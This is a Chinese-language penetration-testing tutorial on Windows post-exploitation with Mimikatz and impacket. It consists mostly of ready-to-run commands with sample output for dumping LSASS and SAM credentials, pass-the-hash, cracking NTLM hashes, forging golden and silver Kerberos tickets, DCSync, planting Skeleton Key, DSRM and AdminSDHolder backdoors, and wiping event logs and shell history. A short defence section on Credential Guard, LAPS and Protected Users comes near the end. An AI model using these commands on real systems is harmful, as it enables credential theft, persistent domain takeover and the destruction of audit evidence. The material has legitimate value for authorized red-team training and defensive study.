后渗透(Post-Exploitation)阶段是渗透测试中价值最高的环节。在获取初始访问和提升权限之后,攻击者需要提取凭据、建立持久化、深入域环境。Mimikatz 是 Windows 后渗透中最具代表性的工具,它能从内存中提取明文密码、NTLM Hash 和 Kerberos 票据。本文将全面讲解 Mimikatz 的核心功能,以及黄金票据、白银票据、DCSync 等高级域攻击技术。
Mimikatz 简介与功能模块
Mimikatz 由法国安全研究员 Benjamin Delpy 开发,是 Windows 安全研究领域最重要的工具之一。它通过直接访问 Windows 安全子系统(LSASS 进程)来提取认证凭据。
核心模块概览
| 模块 | 功能 | 典型用途 |
|---|---|---|
| sekurlsa | LSASS 进程凭据提取 | 提取密码、Hash、票据 |
| lsadump | LSA 数据库操作 | SAM 数据库导出、DCSync |
| kerberos | Kerberos 操作 | 票据导出/导入/伪造 |
| crypto | 加密操作 | 证书导出 |
| vault | Windows 凭据保管库 | 提取保存的凭据 |
| dpapi | 数据保护 API | 解密 Chrome 密码等 |
| token | 令牌操作 | 令牌提升和模拟 |
基本使用
:: 运行 Mimikatz(需要管理员权限)
mimikatz.exe
:: 提升到调试权限(必须先执行)
mimikatz # privilege::debug
:: 输出: Privilege '20' OK — 表示成功
:: 检查 Mimikatz 版本
mimikatz # version
:: 单行命令执行(自动化场景)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
凭据提取
sekurlsa::logonpasswords
这是 Mimikatz 最常用的命令,从 LSASS 进程内存中提取所有已登录用户的凭据。
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
:: 输出示例:
:: Authentication Id : 0 ; 999 (00000000:000003e7)
:: Session : UndefinedLogonType from 0
:: User Name : DC01$
:: Domain : LAB
:: Logon Server : (null)
:: SID : S-1-5-18
:: msv :
:: [00000003] Primary
:: * Username : DC01$
:: * Domain : LAB
:: * NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
:: ...
::
:: Authentication Id : 0 ; 453871 (00000000:0006ecef)
:: Session : Interactive from 1
:: User Name : Administrator
:: Domain : LAB
:: Logon Server : DC01
:: msv :
:: [00000003] Primary
:: * Username : Administrator
:: * Domain : LAB
:: * NTLM : fc525c9683e8fe067095ba2ddc971889
:: * SHA1 : e7cf9a4b8f5e30b0e0f9a6a29f06352c1a8b0e2d
:: wdigest :
:: * Username : Administrator
:: * Domain : LAB
:: * Password : P@ssw0rd!
:: kerberos :
:: * Username : Administrator
:: * Domain : LAB.LOCAL
:: * Password : P@ssw0rd!
注意:Windows 10 / Server 2016 之后,默认禁用了 WDigest 明文密码缓存。可以通过修改注册表重新启用:
:: 启用 WDigest 明文密码存储(需要用户重新登录后生效)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
:: 然后等待用户重新登录,或锁屏后解锁
rundll32.exe user32.dll,LockWorkStation
sekurlsa 其他命令
:: 提取 NTLM Hash
mimikatz # sekurlsa::msv
:: 提取 Kerberos 票据
mimikatz # sekurlsa::tickets /export
:: 提取 WDigest 凭据
mimikatz # sekurlsa::wdigest
:: 提取 DPAPI 主密钥
mimikatz # sekurlsa::dpapi
:: 提取 ekeys(Kerberos 加密密钥)
mimikatz # sekurlsa::ekeys
:: 从 LSASS 转储文件中提取(离线分析)
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
创建 LSASS 转储
:: 方法一:使用任务管理器
:: 任务管理器 > 详细信息 > 右键 lsass.exe > 创建转储文件
:: 方法二:使用 Procdump(Sysinternals 工具,不易被 AV 检测)
procdump.exe -accepteula -ma lsass.exe lsass.dmp
:: 方法三:使用 comsvcs.dll(无需额外工具)
:: 先找到 lsass.exe 的 PID
tasklist | findstr lsass
:: 假设 PID 为 672
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 672 C:\Temp\lsass.dmp full
:: 方法四:PowerShell
powershell -c "rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full"
lsadump::sam
从 SAM 数据库中提取本地用户的 NTLM Hash。
:: 在线提取(需要 SYSTEM 权限)
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
:: 输出示例:
:: RID : 000001f4 (500)
:: User : Administrator
:: Hash NTLM: fc525c9683e8fe067095ba2ddc971889
::
:: RID : 000001f5 (501)
:: User : Guest
::
:: RID : 000003e9 (1001)
:: User : testuser
:: Hash NTLM: a4f49c406510bdcab6824ee7c30fd852
:: 离线提取(从备份的 SAM 和 SYSTEM 文件)
:: 首先获取 SAM 和 SYSTEM 注册表文件
reg save HKLM\SAM C:\Temp\sam
reg save HKLM\SYSTEM C:\Temp\system
:: 然后使用 Mimikatz 离线解析
mimikatz # lsadump::sam /sam:C:\Temp\sam /system:C:\Temp\system
:: 使用 impacket-secretsdump 离线解析(Linux 上)
impacket-secretsdump -sam sam -system system LOCAL
NTLM Hash 提取与利用
# 使用 impacket-secretsdump 远程提取所有哈希
impacket-secretsdump lab.local/administrator:'P@ssw0rd!'@10.10.10.100
# 输出包括:
# - SAM 数据库中的本地用户哈希
# - LSA Secrets
# - 缓存的域凭据(DCC2)
# - NTDS.dit 中的域用户哈希(如果目标是 DC)
# 仅提取 NTDS.dit
impacket-secretsdump -just-dc lab.local/administrator:'P@ssw0rd!'@10.10.10.100
# 仅提取 NTLM Hash(不含 Kerberos 密钥)
impacket-secretsdump -just-dc-ntlm lab.local/administrator:'P@ssw0rd!'@10.10.10.100
# 使用 Hash 进行 PTH
crackmapexec smb 10.10.10.0/24 -u administrator -H 'fc525c9683e8fe067095ba2ddc971889' --local-auth
# 破解 NTLM Hash
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
黄金票据(Golden Ticket)攻击
黄金票据是 Kerberos 攻击的终极手段。通过获取 krbtgt 账户的 NTLM Hash,攻击者可以伪造任意用户的 TGT(票据授权票据),从而以任意身份访问域内任何资源。
获取 krbtgt Hash
:: 方法一:Mimikatz DCSync(需要域管或等效权限)
mimikatz # lsadump::dcsync /user:krbtgt /domain:lab.local
:: 输出:
:: SAM Username : krbtgt
:: Hash NTLM : b889e0d47d6fe22c8f0463a96f3e2d14
:: Object Security ID : S-1-5-21-1234567890-1234567890-1234567890-502
:: 方法二:从 NTDS.dit 提取
mimikatz # lsadump::lsa /inject /name:krbtgt
# 方法三:使用 impacket-secretsdump
impacket-secretsdump lab.local/administrator:'P@ssw0rd!'@10.10.10.100 -just-dc-user krbtgt
伪造黄金票据
:: 使用 Mimikatz 创建黄金票据
:: 需要:域名、域 SID、krbtgt Hash、目标用户名
mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:b889e0d47d6fe22c8f0463a96f3e2d14 /ptt
:: 参数说明:
:: /user - 伪造的用户名(可以是不存在的用户)
:: /domain - 域名
:: /sid - 域 SID
:: /krbtgt - krbtgt 的 NTLM Hash
:: /ptt - Pass-the-Ticket,直接注入到当前会话
:: 生成票据文件(不立即注入)
mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:b889e0d47d6fe22c8f0463a96f3e2d14 /ticket:golden.kirbi
:: 稍后注入票据
mimikatz # kerberos::ptt golden.kirbi
:: 设置票据有效期为 10 年
mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:b889e0d47d6fe22c8f0463a96f3e2d14 /endin:525600 /renewmax:525600 /ptt
# 使用 impacket-ticketer 创建黄金票据
impacket-ticketer -nthash b889e0d47d6fe22c8f0463a96f3e2d14 -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain lab.local Administrator
# 使用票据
export KRB5CCNAME=Administrator.ccache
impacket-psexec lab.local/Administrator@DC01.lab.local -k -no-pass
impacket-wmiexec lab.local/Administrator@DC01.lab.local -k -no-pass
验证黄金票据
:: 查看当前缓存的票据
klist
:: 测试访问域控 C 盘共享
dir \\DC01\C$
:: 在域控上执行命令
PsExec.exe \\DC01 cmd.exe
白银票据(Silver Ticket)攻击
白银票据伪造的是服务票据(ST/TGS),而非 TGT。它只能访问特定服务,但优势在于不需要与 KDC 通信,更加隐蔽。
白银票据制作
:: 首先需要目标服务账户的 NTLM Hash
:: 例如伪造 CIFS 服务票据(用于 SMB 文件访问)
mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:SRV01.lab.local /service:cifs /rc4:a4f49c406510bdcab6824ee7c30fd852 /ptt
:: 参数说明:
:: /target - 目标服务器
:: /service - 服务类型(cifs, http, mssql, host, ldap 等)
:: /rc4 - 服务账户的 NTLM Hash
:: 伪造 HOST 服务票据(用于 PsExec 远程执行)
mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:SRV01.lab.local /service:host /rc4:a4f49c406510bdcab6824ee7c30fd852 /ptt
:: 伪造 HTTP 服务票据(用于 Web 服务访问)
mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:SRV01.lab.local /service:http /rc4:a4f49c406510bdcab6824ee7c30fd852 /ptt
:: 伪造 LDAP 服务票据(用于 DCSync)
mimikatz # kerberos::golden /user:Administrator /domain:lab.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:DC01.lab.local /service:ldap /rc4:b889e0d47d6fe22c8f0463a96f3e2d14 /ptt
# 使用 impacket-ticketer 创建白银票据
impacket-ticketer -nthash a4f49c406510bdcab6824ee7c30fd852 -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain lab.local -spn cifs/SRV01.lab.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-smbclient lab.local/Administrator@SRV01.lab.local -k -no-pass
黄金票据 vs 白银票据
| 特性 | 黄金票据 | 白银票据 |
|---|---|---|
| 伪造类型 | TGT | TGS/ST |
| 所需 Hash | krbtgt | 目标服务账户 |
| 访问范围 | 域内所有资源 | 仅目标服务 |
| KDC 通信 | 需要 | 不需要 |
| 隐蔽性 | 较低 | 较高 |
| 有效期 | 默认 10 年 | 默认 30 天 |
| 检测难度 | 中等 | 较难 |
DCSync 攻击
DCSync 是一种通过模拟域控制器复制行为来提取域用户哈希的攻击技术。它利用 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All 权限,无需在域控制器上执行任何代码。
:: Mimikatz DCSync — 提取特定用户
mimikatz # lsadump::dcsync /user:Administrator /domain:lab.local
:: 提取 krbtgt
mimikatz # lsadump::dcsync /user:krbtgt /domain:lab.local
:: 提取所有用户(慎用,流量大易被检测)
mimikatz # lsadump::dcsync /domain:lab.local /all /csv
# impacket-secretsdump DCSync
impacket-secretsdump lab.local/administrator:'P@ssw0rd!'@10.10.10.100
# 仅提取域用户哈希
impacket-secretsdump -just-dc lab.local/administrator:'P@ssw0rd!'@10.10.10.100
# 使用 Hash 进行 DCSync
impacket-secretsdump -hashes :fc525c9683e8fe067095ba2ddc971889 lab.local/administrator@10.10.10.100
# 输出格式:
# lab.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
# lab.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b889e0d47d6fe22c8f0463a96f3e2d14:::
# lab.local\testuser:1103:aad3b435b51404eeaad3b435b51404ee:a4f49c406510bdcab6824ee7c30fd852:::
凭据持久化
Skeleton Key
Skeleton Key 攻击在域控的 LSASS 进程中注入万能密码,使攻击者可以使用任意用户名 + 万能密码登录,同时不影响原密码的使用。
:: 在域控上注入 Skeleton Key(需要域管权限)
mimikatz # privilege::debug
mimikatz # misc::skeleton
:: 注入成功后,可以使用万能密码 "mimikatz" 以任意用户登录
:: 例如:
net use \\DC01\IPC$ /user:lab\Administrator mimikatz
# 远程验证 Skeleton Key
crackmapexec smb 10.10.10.100 -u Administrator -p 'mimikatz' -d lab.local
# 使用万能密码通过 PsExec 获取 Shell
impacket-psexec lab.local/Administrator:mimikatz@10.10.10.100
注意:Skeleton Key 仅存在于内存中,域控重启后失效。
DSRM 后门
目录服务恢复模式(DSRM)账户的密码在域控安装时设定,之后很少更改。通过修改注册表可以使 DSRM 账户能够远程登录。
:: 查看 DSRM 密码 Hash
mimikatz # token::elevate
mimikatz # lsadump::sam
:: 修改注册表允许 DSRM 账户网络登录
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
:: 然后可以使用 DSRM 密码通过 PTH 远程登录域控
# 使用 DSRM Hash 进行 PTH
impacket-psexec -hashes :dsrm_ntlm_hash ./Administrator@10.10.10.100
AdminSDHolder 持久化
# AdminSDHolder 是一个特殊的 AD 容器,其 ACL 每 60 分钟会被复制到所有受保护的组
# 通过修改 AdminSDHolder 的 ACL,可以在受保护组上持久化权限
# 使用 PowerView 添加 ACL
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=lab,DC=local" -PrincipalIdentity testuser -Rights All
# 等待 SDProp 进程运行(默认 60 分钟),或手动触发
Invoke-ADSDPropagation
痕迹清理
渗透测试完成后,必须清理所有测试痕迹。
:: 清除 Kerberos 票据
mimikatz # kerberos::purge
klist purge
:: 清除事件日志(仅在授权范围内)
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
:: PowerShell 清除日志
Get-EventLog -LogName * | ForEach-Object { Clear-EventLog $_.Log }
:: 清除 PowerShell 历史
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force
:: 删除上传的工具
del /f /q C:\Temp\mimikatz.exe
del /f /q C:\Temp\winPEASx64.exe
:: 还原注册表修改
reg delete HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /f
:: 移除 Skeleton Key(重启域控或使用)
:: 最可靠的方法是重启域控 LSASS 服务
# 清除 Linux 攻击机上的痕迹
rm -rf *.ccache *.kirbi
history -c
# 关闭所有 impacket 连接
# 删除收集的数据文件
rm -rf bloodhound_data.zip *.json hashes.txt
防御建议
Credential Guard
Windows Credential Guard 使用虚拟化技术隔离 LSASS 进程,有效防止 Mimikatz 等工具提取凭据。
# 启用 Credential Guard
# 通过组策略:计算机配置 > 管理模板 > 系统 > Device Guard > 启用基于虚拟化的安全
# 或通过注册表:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags /t REG_DWORD /d 1 /f
LAPS(Local Administrator Password Solution)
# LAPS 为每台域内计算机自动生成唯一的本地管理员密码
# 安装 LAPS
Install-Module -Name LAPS -Force
# 配置 LAPS GPO
# 启用本地管理员密码管理
# 设置密码复杂度和轮换周期
受保护用户组(Protected Users)
# 将敏感账户加入 Protected Users 组
Add-ADGroupMember -Identity "Protected Users" -Members "Administrator","svc_admin"
# Protected Users 组的账户将:
# - 不使用 NTLM 认证
# - 不缓存凭据
# - 不使用 DES 或 RC4 加密
# - TGT 有效期缩短为 4 小时
其他防御措施
- 启用 LSA 保护 — 防止非授权进程访问 LSASS
- 部署 EDR — 检测 Mimikatz 及类似工具的行为
- 监控 DCSync — 审计 DS-Replication 相关权限和事件(Event ID 4662)
- 定期轮换 krbtgt 密码 — 双次重置使现有黄金票据失效
- 网络分段 — 限制域控的网络访问范围
总结
Windows 后渗透是渗透测试中技术含量最高的阶段。本文详细讲解了以 Mimikatz 为核心的凭据提取和高级域攻击技术:
- 凭据提取 —
sekurlsa::logonpasswords和lsadump::sam是获取密码和 Hash 的核心命令 - 黄金票据 — 通过 krbtgt Hash 伪造 TGT,实现域内任意资源的持久访问
- 白银票据 — 伪造服务票据,针对特定服务进行隐蔽攻击
- DCSync — 模拟域控复制提取所有域用户哈希,无需在 DC 上执行代码
- 持久化 — Skeleton Key 和 DSRM 后门提供了域级别的持久访问
- 防御体系 — Credential Guard、LAPS、Protected Users 构成多层防御
这些技术在合法的渗透测试和红队评估中具有重要价值。在实际操作中,务必确保拥有明确的授权,并严格控制测试范围。掌握攻击技术的最终目的是理解风险,从而更好地防御。